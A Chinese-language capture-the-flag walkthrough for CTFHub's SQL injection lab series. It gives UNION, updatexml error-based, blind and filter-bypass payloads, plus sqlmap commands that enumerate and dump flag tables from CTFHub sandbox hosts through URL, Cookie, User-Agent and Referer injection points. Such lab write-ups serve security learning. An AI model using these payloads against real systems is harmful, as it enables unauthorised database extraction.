CTFHub—SQL注入
整数型注入
1.输入1发现有两个回显,那么直接查库
?id=-1 union select database(),2
2.查表
?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema="sqli") ,2
3.查flag表的字段名
?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag") ,2
4.查表数据
http://challenge-c8d48c7b74970ffb.sandbox.ctfhub.com:10800/?id=-1 union select (select flag from flag) ,2
字符型注入
1.输入1后出现两个回显点
2.根据提示他是单引号闭合的所以闭合为
?id=1' --+
3.查看数据库
?id=-1' union select database(),2 --+
2.查看sqli库中表名
?id=-1' union select (select group_concat(table_name) from information_schema.tables where table_schema="sqli"),2 --+
3.查看你flag表下字段
?id=-1' union select (select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag"),2 --+
4.查看表数据
?id=-1' union select (select flag from flag),2 --+
报错注入
通过updatexml()函数在报错信息中查出想要的数据
1.输入1发现有报错提示
2.查库
?id=1 and updatexml(1,concat(0x7e,database()),3)
2.查表
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli")),3)
4.查flag列名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")),3)
5.查flag数据
?id=1 and updatexml(1,concat(0x7e,(select flag from flag)),3)
布尔盲注
通过二分法判断每个字符
1.查看你数据库长度
?id=1 and length(database())=4
2.判断数据库的每个字符
?id=1 and ascii(substr(database(),1,1))=115 //ASCII码值对应的字母为s
?id=1 and ascii(substr(database(),2,1))=113 //........q
?id=1 and ascii(substr(database(),2,1))=113
布尔盲注手工注入太过麻烦,最好用工具。所以还是用工具sqlmap吧。
1.查库
python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1" --batch --dbs
2.查表
python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1" --batch -D sqli --tables
3.查flag数据
python3 sqlmap.py -u "http://challenge-1c074671433e1b16.sandbox.ctfhub.com:10800/?id=1" --batch -D sqli -T flag --dump
时间盲注
1.查看当前库
python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1" --current-db
2.查看表
python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables --batch
3.查看flag表数据
python3 sqlmap.py -u "http://challenge-bd44dcf9ec821756.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump
Mysql结构
python3 sqlmap.py -u "http://challenge-387e083e191f8a7c.sandbox.ctfhub.com:10800?id=1" -D sqli --tables
查看所有表数据
python3 sqlmap.py -u "http://challenge-387e083e191f8a7c.sandbox.ctfhub.com:10800?id=1" -D sqli --dump
过滤空格
此题把空格过滤成+号,拦截空格和加号,所以可用%a0,/**/
,/!**/
绕过
1.尝试绕过
?id=1/**/union/**/select/**/1,2 //可以绕过
2.查数据库
?id=-1/**/union/**/select/**/1,database()
3.查表名
?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="sqli"
4.查列名
?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="sqli"/**/and/**/table_name="nrnbcjdtuc"
5.查nrnbcjdtuc中 jdzpbfrxgo的数据
/?id=-1/**/union/**/select/**/1,jdzpbfrxgo/**/from/**/nrnbcjdtuc
Cookie注入
思路:通过抓包在cookie注入
1.抓包并在注入点后面加*号,然后保存到文本文件中,通过sqlmap注入
2.查当前库
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch --current-db
3.查看表名
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables
4.查看pggcuasonz表中数据
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T pggcuasonz --dump
UA注入
根据提示注入点在user-agent
将请求包保存到1.txt
查库
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch --current-db
看表
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables
查数据
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T mojphxupzd --dump
PS:如果不行在后面加上 --level=3。因为level>=3的时候就会测试HTTP User-Agent/Referer头。
Refer注入
抓包发现没有referer,我自己加上
1.在referer后面加上*表示注入点将请求包保存在1.txt中
2.查库
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -dbs
3.查表
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli --tables
4.查表中数据
python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D sqli -T hknaffzuri --dump